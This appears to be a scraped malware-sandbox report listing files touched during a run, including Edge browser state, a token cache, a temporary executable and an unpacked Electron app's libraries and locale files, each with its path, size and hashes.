SHA1 ecac97fb89fb92106cec5eb94a46a87dbf6e3388
SHA512 5e08106dc35e6682bf9102f4a1915c7aaafa16524788557c5a140cbfb16064f7161dc68371691d193e729c0f52b20ed8bf94d3e9610e7fcf340d81ed627d06d1
SSDEEP 384:nIiFPcXqn3sNu8TUNTUlI4ERihB0F78vfDYrpxewwaChdYufnXqFvvXyrN1k+rv2:TF33twgJicMY9xewLkrXqV+Y
TLSH
T140C24B31E868DDABADEA8FC9F34A7643AFE05293858C5ED4D6C85E1C00C759E1707C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 6abbece8d490b8ab71afd324d6b69b1fdf666ea1c0b228b4a7750ae5f43b6de6
MD5 ffdada53cfaf4275266553b660fe38e6
SHA1 22394949586438a5f73b3608da4b00aaea511f81
SHA512 74f5e95be8b96f8f2753ecda031f0d00f990367aab55812377fba16ac3ff8fe81211de3b4179aafb07b487e4e5f1663e089366ab78c06e4f985ba7cca00eab74
SSDEEP 384:nHiFPcXqnBsNu8TUNTUlI4ERihB0F78vfDYrpxewwaChdYuUrXqFvvXyrN1k+rv2:CF3BtwgJicMY9xewLk6XqV+Y
TLSH
T190D24B31E868DDABADE68FC9F34A7643AFE05293858C5ED4D6C85E1C00C759E1707C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 7a21db343637e2acb10a133f31e918cdd24f87ca9c5cecffcc9697ba5fef6afc
MD5 42ba19a8ee13937dbc84e70e75bc4d8a
SHA1 477f95f145dbcbcd4500d340550cf0936f9de448
SHA512 13e76dd550101c031db5153273e8973604605d3117e82ad34fbf24c3b6b3579fb9d80ad00e78f062a098bf60736a5e2e5a0a133519c88b4616f08ede398b839f
SSDEEP 384:nciFavqMg3sNi8TUNTUlIm2RihPb948vfDYrpxewwaChdYuWnXzRUAJhvzNFsrNy:HFayv39wgTiLNY9xewLkgXzi6Eo
TLSH
T168C24B35E868DEABEDE74F89E70A7707DEE052A3C58C4AD4DAD90D1D108719E1307C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 6aebed3e26d9490f22933fc7961727f96503eae50370e8242bde76992544453e
MD5 751d99552d039f8bcdfd8d3c3689ffdb
SHA1 732cc7a82d84640b1f40088275f19cb5bfcdc43f
SHA512 e231866c582e04552f861f28a9a062b13fdab07238f8ce8dff5c91dbddde95a6d5c50fa09e562b2fb2f406a5ba69f9b4f2239bbc8ef75e0384e228d6de5adf67
TLSH
T10B4141E14C3E2AD1D4FD0E2EA49778FC95D8C32AF4B4707D5864D9880739A1E604043F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 3ba42e57dd0cb05403c94224757e144a0ae72237c8b047b9b988367f319892a3
MD5 ee8a569d113c36a9eb6ffb7a9951f409
SHA1 8a23ddcb915b9160112f3f9b0c20d8c2ac99f673
SHA512 5566a53767938c8c5e8fae05b4f19ee626c0ecf8ec22ac1fe4578bf3c7be3806085e46ccc3d2eebf3e2cafc1939375fe85e71ff75cb40caa8fd86af59bf00cfc
TLSH
T144412FE15C3E2AD1D0BD0A6E74AB38FC95D8C72AF9A4703D2854D998473960E654443F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 b93c3edcf15a7a4d6e8aeeb4e0421bf9cb8fb114b3385fee5c7f9d96126557cd
MD5 57d2e3eb0048deb027c02104f5ca8bc0
SHA1 d5ec94fa1ab32784ddf5a29a9b38aabab9266c2c
SHA512 88c97d9985d099e0269ae98079d446a0121c4a73495baf0ea2cc2af857d3de6fc940730faa8817e5751643aa2eb297e18315a045b9b9f5ea68980e2d3b945ac1
TLSH
T10F412FE15C3E2AD1D4FE0A6E64A738FC95D8C72AF4B4707D6864DE98073960E644443F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 c58cd649ee95c481a176b1797b02e49a6610318ef5c873551fae7e301fd8e4c2
MD5 f9d338be6fa725ed357da0bfdf3c9c32
SHA1 c88f3e893de895d7cb116ea662874f4bfd406e07
SHA512 740d23902b157c93fe42d6ccce83760e5c92f60e3975313557b34d969e9d36cce6e242c942e9de81cc0b7e0c629e85ef1bc10cff50a2e9aa565ce99730582efe
TLSH
T1894153E15C3D2AD1D4BD0A6F785738FC95DCC72AF8A4303D2864E988077960E254043F
MD5 SHA1 SHA512 TLSH

Submit Download

3256621f3c706ccdf5802b36fb5c35251d354aed0d31ac9fc8eb7d7239312e55

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3256621f3c706ccdf5802b36fb5c35251d354aed0d31ac9fc8eb7d7239312e55
Size 147KB
SHA256 3256621f3c706ccdf5802b36fb5c35251d354aed0d31ac9fc8eb7d7239312e55
MD5 9c670f04d98ab7404f16423f6ee6cdfa
SHA1 8d01079b2d065731df8a7ef52f447cd4b7add353
SHA512 102cee76d9dfcfe91e044f529672fbec042b50c5db55a3cc137197b2013dd7f81e47f50dbb0db96cb621c5732610e1eb553c4146837c11075c7c4dbd67546a3b
SSDEEP 3072:F7R0M+jCozOtDTsjMcT0JnFjkbxnEbm/+OdGmlVVklFHEpCm+:F7WxxzyDTM0JnRkb5bJdGmJkvkpx+
TLSH
T12DE3E16D3DE6DE1FC41B58F53E64708BC80E8F0B820A644FB64988345A60B5D1BD6AFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 54f761e00d363bd15db7bae3cc55144c80148a5fa1db7c3c2049e0e406a9142c
MD5 b1ac780361002049b0a10a7fd30fd809
SHA1 0ee0a7dc27fd175ab7abd6e5649890be3e2795b5
SHA512 1bd8b1d2dc30bc62728d3d08085a446e8c037b02499687affa9a0bb18c6bdfee19104eabdcd8a52c2d0b542046abf26b7fdf81815037d4923e31231b0dfb7d60
TLSH
T156C02B5538F9488C2FA5257ED238092E12E4C912310022B0002ED804103465C13A0C2F
MD5 SHA1 SHA512 TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 52c46e79197d92697b718811c135c314f0360c8692b389b806cba816f9054338
MD5 b95bdcd0540194e50145f12ee86e442b
SHA1 a3cd6b5ebd837fc5d563da4527aedab1b5187584
SHA512 0f5c090df29da48f5b3f28dd1326fc53b5e654b1de910f725206395d72a9e0bcde1f31d33a44f1426f1b8de57f960c990e5aa0069e64d33ffc83a85ab402581d
TLSH
T144410B58B6FA1104B3777F1AAFF7A86E48BB78772E06D59D00110E4E0966B40C8B2737
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ee28a87157d69be7a6e8e5d15b39f35fcef63d79bce8394cfa973e798ccfe715
MD5 f44b75700554d9830bfadce12e5b4bf9
SHA1 ead7b05a14787e9c1f75317bf327fe8cfeae6a41
SHA512 aecb39ded53aa10a7de90a9245484656c37a8ee00a04210dd03d91f649a8dc40c6803ac6ac89827395f5baf29c9195ef8fea3480ceb7dacaec9fb283283952c0
TLSH
T182216527B39CC921CC99153A209CAC1172B683C7809ECF8F6EC0D224A07FAC4CB61594
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ce38d8fde1f8aa7a959b12c54effebf5ae5d90b02abcbf196979ffe1d6a00aab
MD5 efe975f898c834c6a36b739ad2561c2f
SHA1 5a2ee4f5981ec8a3c18e79091b6d0cbbaf0d6175
SHA512 7ecf6be8087d78f92c0b00c39a5cdc5c24ebcd367154457114efd9b2ff4414f703c49df430c26352c3757eda6df50c30deade80b653cbd9752b14f5f69a1b82e
TLSH
T14F216827B39CD9A1CC85153A109C9D1172B783C7809ECF8F2EC0D224A57F6D4CB61150
MD5 SHA1 SHA512 TLSH

Submit Download

0048f9440a2fddd7.exe

Path C:\Users\Admin\AppData\Local\Temp\0048f9440a2fddd7.exe
Size 3.0MB
SHA256 ff0d290bd27a2cf7b615ad00a61d5b7afd132b2a0ad2495b73f49e164ee12e67
MD5 68feda2ad8af1dff19be78a9dcb2c51a
SHA1 f00c631d00a5da2bdc255fa4c89603a2ad2fe085
SHA512 507890bb4ccca5a610014a4cd3e930f6270878137b6e3231b96559020ac59aa2e84b32b70d0c83adb5d4ef340cc50b94b94f7d1784b116c350f3173fe41d2e12
SSDEEP 49152:qXDss6LqMcDzEfiTfh/NMyEKUUEm7cCRuZX14ewA7XWMUT1DEXLRW:xZq3zvNVTEm+XFXGAL4
TLSH
T1B0E5232D33A910A0F9B7E178CE47B366C6B6B1069390B7AF19B44B781F53921F01A7C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Local\Temp\3CWbCSfwK2NTf9Iso7BOkltuTIy\chrome_100_percent.pak
Size 148KB
SHA256 a659ee9eb38636f85f5336587c578fb29740d3effaff9b92852c8a210e92978c
MD5 83ec43f2af9fc52025f3f807b185d424
SHA1 ea432f7571d89dd43a76d260cb5853cada253aa0
SHA512 6ddca85215bf6f7f9b17c5d52bd7395702515bc2354a8cd8fa6c1ccd7355a23b17828853ceabeef597b5bca11750dc7c9f6ec3c45a33c2106f816fec74963d86
SSDEEP 3072:ez8JCGIdTwTPagr8o9RHi/T9P1L2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:ez81IdT8agr8EC/T95K18Gb0OV8ld0Gq
TLSH
T179E3E1D3B3F4ED3DCB9716B7A2260072ECB3466D0692124B168AD4752A66B8CCCC47D3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_1citox4j.5ac.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1citox4j.5ac.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.electron.txt

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\LICENSE.electron.txt
Size 1KB
SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
MD5 4d42118d35941e0f664dddbd83f633c5
SHA1 2b21ec5f20fe961d15f2b58efb1368e66d202e5c
SHA512 3ffbba2e4cd689f362378f6b0f6060571f57e228d3755bdd308283be6cbbef8c2e84beb5fcf73e0c3c81cd944d01ee3fcf141733c4d8b3b0162e543e0b9f3e63
TLSH
T1B511861E726453721C56136055766C84F12F725FBAAF2784246EF384233746CE5FF844
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSES.chromium.html

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\LICENSES.chromium.html
Size 8.7MB
SHA256 c6080d60736384a4a8fdd23404d59ae2d939e5124d80df89f8fd4e450bb9bd6f
MD5 edaeffe92dbfd973958c9d2267201b32
SHA1 ae43e814d3eea2ff27bb414c9e26ecb1b5c0341f
SHA512 d0e58cf4bc9db25982d726f1ba65924bcef8fa405f06f6abf0ab80177d691805ff228039c5a85c3a8029e4422fd50c3d8e84bc6528771092c79e3d5229f43281
SSDEEP 24576:2o9dQj6p6j6j1WZswRiXj3mfI/6k6mjK64jK6gjK6e6cjK6feGjl8LpH:BWVeG2
TLSH
T1E896A52F7B48037306C642A26B8B65CAF21F903F3B561654345CD1681F6BA2983FF6D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_200_percent.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\chrome_200_percent.pak
Size 223KB
SHA256 2c1b3e4b8a0cf837ae0a390fca54f45d7d22418e040f1dfea979622383acced6
MD5 dc48a33bd20bfc7cacfc925a84b015b6
SHA1 8dfee88fd1dc77f89ad88c19146fe3ab45e43f3c
SHA512 1d54eb5d2ba06af0ba8f6b491b0d43f178a48ac82cdf383beb265e732ddfc06bca9692003fdfce56f7f00af97f29acf046c73b891b8c561610098f9626eaf05a
SSDEEP 6144:coDQYajN6svyA6nI86ur8EC/T9ugx5GMRejnbdZnVE6YoppO4:cVfjN6svyA6D4B79a6edhVELoXO4
TLSH
T11E24F1C7B3F8DD3DD9630AB3522A01F1EDB2113905B6560F57CB9C347999AC988C9283
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3dcompiler_47.dll

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\d3dcompiler_47.dll
Size 4.7MB
SHA256 af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a
MD5 a7b7470c347f84365ffe1b2072b4f95c
SHA1 57a96f6fb326ba65b7f7016242132b3f9464c7a3
SHA512 83391a219631f750499fd9642d59ec80fb377c378997b302d10762e83325551bb97c1086b181fff0521b1ca933e518eab71a44a3578a23691f215ebb1dce463d
SSDEEP 49152:hCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvdiD0N+YEzI4og/RfzHLeHTRhFRN1:oG2QCwmHjnog/pzHAo/Ayc
TLSH
T13C367C5673EA40B9C1ABD178CE479213EBB1781403345BEB4190C669AF73BE16A3E734
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\ffmpeg.dll
Size 2.8MB
SHA256 4fcdedbc68eae4b4cfe0eed275316fdf66c9d4a57a98d29a77d0e8f4149cfcbc
MD5 e3bdb59b37b730647d4a1e44756a730d
SHA1 bb435a479fa6956f3d091c927d12c2f71e433c35
SHA512 891a72c6091ef4fde7a373f6df0f1e39d40bce67a1a7f8509782c6373baf481a73276051b77d5946875d1ff449ca23083635e4f4030058f7b1bfe35135a1c98c
SSDEEP 49152:0FUWNgdIjHFoDr2XlKVDdusGH6qfLgvsI74i3OQ+Jhp:0F2IDq3CYVDdufU4i6hp
TLSH
T178D5AE03F6D950DDD029C075979F9223F671344A8F1266EF26E05A202E67FD86E3E329
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icudtl.dat

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\icudtl.dat
Size 10.0MB
SHA256 9ae98c06cbb0ea43c5cd6b5725310c008c65e46072421a1118cb88e1de9a8b92
MD5 ffd67c1e24cb35dc109a24024b1ba7ec
SHA1 99f545bc396878c7a53e98a79017d9531af7c1f5
SHA512 e1a865e685d2d3bacd0916d4238a79462519d887feb273a251120bb6af2b4481d025f3b21ce9a1a95a49371a0aa3ecf072175ba756974e831dbfde1f0feaeb79
SSDEEP 196608:+SPBhORiYAXHiXUxY/iJ53IWhlVjEeIu2Y6U:++wkpHiXUxY/iJ53IWhlVjEeIZU
TLSH
T160B63807A2FB8DC6F9F76F30E8F452679567BD496E32805911042F3B1D332A08661BB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libEGL.dll

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\libEGL.dll
Size 481KB
SHA256 d9d2f5b5fae60a63523f92c07539dd93893ff7d9ffa41f0bb57caca4be9f2220
MD5 c13e55ae6200e74c0b121cbd5c1d323d
SHA1 098675729109e19a0b6cbedbbf45398265ab6644
SHA512 b7f802afd0e195c47cb4014b2af2a532781648367c2fc6695d2142afa6b65a35c699a4bea9eef5694e01ec863b3c259a9a3bdead4d889195a9b22dfea7461f1b
SSDEEP 6144:43f2CrNZCHZWHCxmx0vfbjj306LhQQ3WU3y0iSj/88Pg:6vQ0CxmqvfbjLTQRU3y0iSA8o
TLSH
T14FA49E15B3E444B9E06AD174CA534642DB76B4920F69FBDF03A492392F37BE85B39320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libGLESv2.dll

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\libGLESv2.dll
Size 8.0MB
SHA256 4b4dcbc7bb19449ec89d2bf06e7b05af9352a4e6f97f4444183dc3080e6c0f1d
MD5 a3bf08772053b66ec34701037f120736
SHA1 b1b8d9e35d9ea517fe435f33056e8d2ff868cc6e
SHA512 67b294ddcbc1b26c65c252ebfb1d770b81df380e27b2b9d95be6d540c6c017ca7d5f700e42e6b41dcc52866f3b32382e3b88b585cf5793e5decb5d905d2fb539
SSDEEP 98304:O9aDUngXCAFxUrAYF8V3tcUl1XMX43vlOA:OCO5k33X4svl
TLSH
T1CB867C03F69580D9D00DE2B9975B9627FA3078840728B6CF269417192F7BFE0AB7E714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

af.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\af.pak
Size 520KB
SHA256 c56cb2841ee2e40fbdd6b7e293a1ce74bd10fd500465fcf99d1e07f8d69f8ce7
MD5 fc32a6b72fc91e1be9c2c9d2ea586ec3
SHA1 5d439600cff26476d8715b778881f5735356d723
SHA512 b34c7390d4a15936b1f74f42fa91ccd0ca0587f0dd630096c9a16ec77756e2137d9e49ab1ebbf703c8ce6f56f110d5bb3333b1ebed51779d1bb2460b203a7250
SSDEEP 12288:WEG8+ocurcdy6VGycsaja+H2Jyngae5Ig1eo0vMIlgL2pQ+FXZG2vt2pslFd5/51:WC+ozrc86VZBaja+H2Jyngae5Ig1eo0N
TLSH
T1C5B41C0AEB80173D09A076D6BA0846F7FB9CA26CD770B2B6DD9D823105A6EFC117D1D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

am.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\am.pak
Size 840KB
SHA256 49a2095ad9ffac0b7ffaadba64d2c2b51a05e0695e21d1c428735485757bd11c
MD5 e0c0a175875fe04c01c7606efc083d24
SHA1 15cea393a6cc1cbd619303d78eef6948f05710f6
SHA512 3fe18007d138b39707007a98b95781619f892aa5163f74c600c930c6284f4219c2a6714d25a104eabb98f763fdc481ab26ddddd1bd4010ca1630b5d8fc4e2994
SSDEEP 24576:odRToH2hTCNRysrxQH9hjN3fpzvh51muMXqVFq+XG/6WxLP5Y:M5z
TLSH
T15D05BA547EF9F7570F8E8A19A4320E4EA594AD4652803C38C35AE3FC2B2DF1B4DDA215
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ar.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\ar.pak
Size 921KB
SHA256 817829ad75dbc7d59b5042d7f056fa2485f82d1ae2af50ed83fd89f86f3d58fc
MD5 480baf1a6d7fdb28a105180bd5791388
SHA1 9556fabb0744eaa5eb17c93a5375f31b5315d7a5
SHA512 24853a554509eb069b04dea588ac154d5dfb2601cff8f1575d9f83e8b1fc787fc723c65d952028e1ecd2eecf406226ed8b5eb07a1bec58efce4673e5d97d4e18
SSDEEP 12288:NSi92W+BUC/+/RxNEhugvPUzumJkOCSn5KNp5QpnSEqt:7wWYK5aQi
TLSH
T163158AE21B2984720B96DF0FD1E23668D872BD23EB4BFC3124934A2156D7513E78E674
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bg.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\bg.pak
Size 959KB
SHA256 f08de6909faf88465c28388aa03fdf08e165866a5a23c738ed33382275c4ec83
MD5 d9d3b4d420be9277d69584a3c0b5080a
SHA1 285a094979b739c4455e3790968d33ca4d466146
SHA512 388ca1cc11485fd3d31a7fbf710145cbd480cb386d96cf6dfd83e1ef2f5376df76db5c2cb051c5a045452875f8362890cbc6df547200bec624c9f13636655803
SSDEEP 24576:MhrgWoOYLYyzQkECvUPVbKDks373ZAW3AAK1mVDLpv74umpjd2SI5IxuFsoGQXxQ:+gWoOYLYfYUPVbKDks373ZN3ApmVDLpw
TLSH
T1722524A15B9A689F0101F45F98087E093CEB84FE3FE7879241652DBD39F10B487BA64D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bn.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\bn.pak
Size 1.2MB
SHA256 5a57265ebac6df683f0279684909755ad71ea70fea71c6ecc1810eac61d1cb3d
MD5 f22d531de1ef474d9839c96e22a06277
SHA1 9b12fcf37966444273451d9859e20a3c4a4be1f1
SHA512 86f9958450e6d4fddca876c7bbc87d154d17fd6e8c002cef98a97c5d265f215c2d8e32c9cbcdad5a28361419877367cd959cbcc24eb77229cd982df0a8a2c8af
SSDEEP 3072:LEcoGqGB2le1abaCb6Ew/0WySZISox22f/MHDrYfHBpxspSPrCXqB+iBbHRI8T5F:LjJfa56/0zDgpCOXqB+iBbD5YqNP
TLSH
T18F45DE209C6E81B2A8C5CDC9434C6370C5236E9B9B65F74DDC17A25938ADC3C8CADDB9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ca.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\ca.pak
Size 584KB
SHA256 bc2b7d6a769c69b27a81cc09a1babd4ccaf003fae32f8294a38e498f2c529c89
MD5 d042acc4d9f540c737480d25488ad68b
SHA1 a3a59a5baab008eb1d24693bcaf551fe1248c4fd
SHA512 0e11225f2362770d10a387c56ffacba75c2bf1607da7df576e0a09ff0254736f825e5e4f5b055171d62c46d6a7f7e33548e9147d26bdf8113576cae9a5e0849c
SSDEEP 12288:Ogqbr7D1MeCi24V3Fe5PFFuN3Mw2juwHzejm0t3l3kb7TenzL8wOwjcXR2lxQE8v:OjRVoiL6qhgMNxgQh5vfScs
TLSH
T14ED4F8239FC93B6744D3320AFB46C257F48CA9847B06D254F4AE1B1622CCA9CC677AD5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cs.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\cs.pak
Size 602KB
SHA256 db040e9f17d2792801c07a7bb3ac96c21d8189c98e9ab34210c5888b2ee53aa1
MD5 319f34edd53fd08e79e5f443aec8e098
SHA1 c98bdb5c6c1cc1b1581648ab8498b8079aac85ad
SHA512 619b4365a4c7c620f09d472a5a5c1d984095ff6b03627333e8a0688b2f21e138ff50b6a3d5efbee67beeddd377ee47202b4607c69a6b76aeaa5fdddf28aaf0ca
SSDEEP 6144:6KHOO0BmicuIsgyha94N85AKh6mARAO52C+TH/NOnbJSBXq8QS:fOEA1glC85AK0P52C+TH/NObJS9
TLSH
T166D4491EEEA26435588002487FBE4228BD5E83540B2EB9BB6CCF9C91217577E8FF4D54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

da.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\da.pak
Size 545KB
SHA256 e32681cdd03db28eb360b1b4203c2988190b7b6f77679ca807cd95a1967ded04
MD5 7db5f17d66731b076727181f7f66d867
SHA1 82ab8e705a0eaa73c20bad139467d193379f82a0
SHA512 fc1809fb53ea2f5e57b3814a8a7323b96cca724de2528ec39544c51525b5a4df611701712242f910f23628e68cd45fe3bc9ddf519d4b908965cc56f6f9450a3f
SSDEEP 6144:IEBnngPFn32fJMoRzVsh5OsmZE1seDrcwlQJWJwgKobwmPaHLV5bpkUdRi3jd45k:IEBn4tGfKmArYbp5bpfdNm
TLSH
T17FC46B4BCC9C732F89AA0764F3118EA7EB5D543CC684264FA5D8943A09CFD6097BE1C6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

de.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\de.pak
Size 582KB
SHA256 4f123245b062d71d56819ac1198d13a3d7953decd4491fca0fbd22c5e129c3bd
MD5 f13adcc145f23f6f263c50318da302b0
SHA1 1f9b92e5f0ac9a0579cf511a7ceb8c00a40d564c
SHA512 04557b6ccc5caff3d3ce15bdfa9a1b7415ddc8a67963f58931ebe5678b149c6d771928ea785f07b5ca0e86370e2130f8084d1586de15521fc11a435b11c168b7
SSDEEP 12288:5apU1C760Ps3K7UpugEaL9Xtt5PPMkUt1CTz:5D1Cm0Ps3K7UpugEaLRf5HMvCTz
TLSH
T1A5C40703ADDF625EC78273607701CDB77B19E36BC342312A88EDD12B654B5B283AD526
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

el.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\el.pak
Size 1.0MB
SHA256 b8707f2511c4ec5533077009771f3aa92b0fb5b395b13907f5860a9151b2431d
MD5 2f0639ad04c3c16a216d4789dbbc12d7
SHA1 b0ed4b4387545015b4cf73b50fc473b5c35d3548
SHA512 c5a5332c67c8aa38deec7254bac15a73c6d432b705fac8c4d6feeffff1a095ba4766443a03c1e4f17a4f09c1fa29d6d1c8740d6e455be2c0973869ccf8dd0122
SSDEEP 24576:qvHcaFbu4FDYX9QnMDhWJXDsS7miHk3D2NpYRDojvmXgVT8y2IWYNQKlCt2rDQu3:cHcaFbu4FDYX9QnMDhWJXDsS7miHcD23
TLSH
T1B735CFEFB4582DED8086950785D8F07C2BC62D6CE749CBD86629CB60BDF80719622D1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

en-GB.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\en-GB.pak
Size 474KB
SHA256 3bf7e7e02c40dac55ce9bd5b4789eaa99e57271b2d907a5ce2ca90b979a58c39
MD5 7b278baf4598e7ffeba15180c017311b
SHA1 2a8f2a9138c700f607441647833ee5a8d2ba2b85
SHA512 654b69d06eb9de0b187dfdf5249f88cf9c73031034e0620703db88910737c22f3dcef75f05993237bbda657703fa2b152c467f33b6f3c48cfdc8c35291049db5
SSDEEP 6144:Ll+NdwHNYrwSiKdFkIV/MP9ezQSKrfaYdrcLlY5IPxGBcvRJeG:Ll+nVrcC/MuQSK3Z5Mx8G
TLSH
T11CA43C1FF784126A069312627B0AA562FF26D06CB35112663CBD802C33B7766C3777E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

en-US.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\en-US.pak
Size 478KB
SHA256 75db989561e145d0d990c4918502316c77ce66b344d3dce4739e3a6db43fde82
MD5 a99b6152bdeac44148f94394c4149622
SHA1 df7371533e92aa24f48469116d9a8ac73249315e
SHA512 3160b58d10ca147594ff4aca004007d4e6823421be349cfad945c681e220eec7266d88434a4d31c719a346650ac0ed31f1f13fca3e824d81bb65ebb4d21cc2c1
SSDEEP 6144:1kdXRDCEmszpReMP9e0QcD2faYjNCu454ZxDng/t/XFLwB:1sUEmGeM1QcDq+5UxOLwB
TLSH
T175A43C1FF7441229069352627F09A5A2FF36D06CA39112563CBD812C33B7B6AC3776E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

es-419.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\es-419.pak
Size 575KB
SHA256 4dedec1ac933c73773b1e54caab1c4d606d12f3788cbeef4d6a2a382138cc907
MD5 cdbcdaed721e027cdd6c76de0c166f6e
SHA1 105dc222d858bc32c3a5acef310d08a821ec7cfc
SHA512 0afc3970922ea3efebf595bdaf27228eab79da2545d63a85d94d6f319353907a5fe265a139a1563eca653d06dc8f3de7dd9f8de4bd9ee0094f6873f521f58429
SSDEEP 6144:CXIiSSLPaWqEJvslpbYl7GuoZOZ5zaOaQ+NK891:EzSSLP3DOpmGw5za0+x1
TLSH
T136C40922BAC81F5310E3A388B743D753E4989545B408D29BE8EB876562CCF8CC977ED5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

es.pak

Path C:\Users\Admin\AppData\Local\Temp\nsm5531.tmp\7z-out\locales\es.pak
Size 575KB
SHA256 a32221be9b65aead3fa779dc54e5ca483a7d73c4815e5c7c3b53711f560bd301
MD5 d1dcb55680b8e6d28099e8c90473b73f
SHA1 633a049a5bbb84ee50d4586aac3563d4fa4c11db
SHA512 3b4eff67094776ff04f634a8533d6986749c8c7d6c0cbfa2ee4f42ed66e0cbd8a3435922ea0bac9b6cf7c6e63d79d96a3f7d09f1e806c8b2c23baaec3b318e42
SSDEEP 6144:F2IPflvErbD70A13XVslgkVXpT+ZoBQihXFijm5JEf2u/Sz/B6PZOkx:MIHlsrbPFVMNphBQiXijm5q2CSLTk
TLSH
T1C3C40722AACC1F631093A389F743D753E8949585B508D29BD8EF876612CCF8CC967ED1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

et.pak

